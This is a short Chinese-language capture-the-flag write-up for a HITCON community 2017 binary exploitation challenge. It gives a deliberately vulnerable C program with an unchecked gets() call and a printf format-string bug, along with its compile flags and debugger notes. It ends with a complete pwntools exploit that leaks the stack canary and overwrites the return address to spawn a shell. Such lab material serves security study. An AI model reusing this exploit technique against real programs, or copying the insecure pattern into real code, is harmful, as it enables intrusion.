HITCON community 2017的一道pwn题
#include<stdio.h>
#include<stdlib.h>
void canary_protect_me(){
system("/bin/sh");
}
int main(){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[40];
gets(buf);
printf(buf);
gets(buf);
return 0;
}
编译开启Partial RELRO, Canary, NX
gcc -m32 -z lazy -z nonexecstack -fstack-protector -no-pie pwn200.c -o pwn200
利用格式化字符串漏洞泄露canary的值, 通过栈溢出填充, 覆盖返回地址, 跳转到canary_protect_me()拿shell
调试, 断到main()开始
mov eax, gs: 0x14
mov DWORD PTR [ebp - 0xc], eax
是canary的读取和存放, canary放到[ebp - 0xc]中, 读取$ebp-0xc
断到printf(), 查看写入缓冲区后的栈数据
偏移量为15(从0开始数), 所以第一次写入字符串"%15$x"可以泄露canary, 再拿个canary_protect_me的虚拟地址
完整exp
from pwn import *
io = process('./pwn200')
io.sendline("%15$x")
canary = int(io.recv(), 16)
log.info("canary: 0x%x" % canary)
binsh = 0x80491a2
payload = "A" * 0x28 + p32(canary) + "A" * 0xc + p32(binsh)
io.sendline(payload)
io.interactive()